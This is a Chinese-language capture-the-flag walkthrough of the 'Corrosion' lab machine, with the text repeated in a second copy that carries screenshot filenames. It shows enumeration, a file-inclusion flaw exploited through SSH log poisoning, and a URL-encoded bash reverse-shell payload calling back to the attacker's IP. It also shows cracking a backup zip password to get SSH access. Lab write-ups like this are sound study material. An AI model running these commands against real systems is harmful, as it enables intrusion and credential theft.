Corrosion_wp
基本信息
- 靶机 IP:192.168.126.140
- 攻击机 IP:192.168.126.132
信息收集阶段
端口扫描
使用 nmap 扫描靶机所有端口

nmap -p 1-65535 192.168.126.140
结果:
- 开放端口:
- 22/tcp(SSH)
- 80/tcp(HTTP)

Web 服务枚举
访问 80 端口
- 页面为默认的 Ubuntu 网站。

使用 Gobuster 枚举目录
gobuster dir -u http://192.168.126.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现目录:
/tasks
/blog-post

访问 /tasks
- 存在
tasks_todo.txt
文件。

- 内容涉及 SSH 的提示。

访问 /blog-post
- 页面无明显信息。

深入探测
二次注入

- 在
/blog-post/archives
目录中手动点击各个链接。

- 发现
randylogs.php
,页面为空白。

使用 ffuf 模糊测试
ffuf -u http://192.168.126.140/blog-post/archives/randylogs.php?file=FUZZ -w /usr/share/wordlists/dirb/common.txt

结果:
- 存在 文件包含漏洞。

文件包含漏洞利用
结合前面 SSH 的提示,考虑利用 SSH 登录污染 /var/log/auth.log
,然后通过文件包含执行命令。

- 参考网上相关帖子,尝试三种思路,最终发现命令执行成功。



准备监听反弹 Shell
在攻击机上运行:
nc -lvvp 4444

发起反弹 Shell 请求(需 URL 编码)
http://192.168.126.140/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.126.132/4444%200%3E%261%22%20%7C%20bash
效果:
- 成功反弹 shell。

获取用户权限
查看目录结构
- 发现
/backups
目录。
- 其中包含
user_backup.zip
文件。

下载 zip 文件
使用 Python 启动 HTTP 服务:
python3 -m http.server 80

浏览器访问:
http://192.168.126.140/backups/user_backup.zip

破解 ZIP 密码
zip2john user_backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- 成功爆破出密码。

解压并查看内容
- 获得
Randy
用户的登录密码。

使用 SSH 登录
ssh randy@192.168.126.140

- 成功登录。
id
- 确认为普通用户。

查看用户 flag
cat user.txt
- 成功获取 flag

总结
- 利用文件包含漏洞结合日志注入成功反弹 shell。
- 破解备份文件获得 SSH 凭据,成功登录。
- 获取 user.txt,完成用户权限阶段目标。
渗透测试记录报告
基本信息
- 靶机 IP:192.168.126.140
- 攻击机 IP:192.168.126.132
信息收集阶段
端口扫描
使用 nmap 扫描靶机所有端口
image-20250407181941151
nmap -p 1-65535 192.168.126.140
结果:
- 开放端口:
- 22/tcp(SSH)
- 80/tcp(HTTP)
image-20250407181953358
Web 服务枚举
访问 80 端口
- 页面为默认的 Ubuntu 网站。
image-20250407182058505
使用 Gobuster 枚举目录
gobuster dir -u http://192.168.126.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现目录:
/tasks
/blog-post
image-20250407182113933
访问 /tasks
- 存在
tasks_todo.txt
文件。
image-20250407182127446
- 内容涉及 SSH 的提示。
image-20250407182136627
访问 /blog-post
- 页面无明显信息。
image-20250407182147147
深入探测
二次注入
image-20250407182210706
- 在
/blog-post/archives
目录中手动点击各个链接。
image-20250407182300274
- 发现
randylogs.php
,页面为空白。
image-20250407182312552
使用 ffuf 模糊测试
ffuf -u http://192.168.126.140/blog-post/archives/randylogs.php?file=FUZZ -w /usr/share/wordlists/dirb/common.txt
image-20250407182347710
结果:
- 存在 文件包含漏洞。
image-20250407182359469
文件包含漏洞利用
结合前面 SSH 的提示,考虑利用 SSH 登录污染 /var/log/auth.log
,然后通过文件包含执行命令。
image-20250407182410434
准备监听反弹 Shell
在攻击机上运行:
nc -lvvp 4444

发起反弹 Shell 请求(需 URL 编码)
http://192.168.126.140/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.126.132/4444%200%3E%261%22%20%7C%20bash
效果:
- 成功反弹 shell。
image-20250407182516742
获取用户权限
查看目录结构
- 发现
/backups
目录。
- 其中包含
user_backup.zip
文件。

下载 zip 文件
使用 Python 启动 HTTP 服务:
python3 -m http.server 80
image-20250407182714665
浏览器访问:
http://192.168.126.140/backups/user_backup.zip
image-20250407182730112
破解 ZIP 密码
zip2john user_backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- 成功爆破出密码。
image-20250407182743041
解压并查看内容
- 获得
Randy
用户的登录密码。
image-20250407182752561
使用 SSH 登录
ssh randy@192.168.126.140
image-20250407182808547
- 成功登录。
id
- 确认为普通用户。
image-20250407182821340
查看用户 flag
cat user.txt
- 成功获取 flag
image-20250407182836566
总结
- 利用文件包含漏洞结合日志注入成功反弹 shell。
- 破解备份文件获得 SSH 凭据,成功登录。
- 获取 user.txt,完成用户权限阶段目标。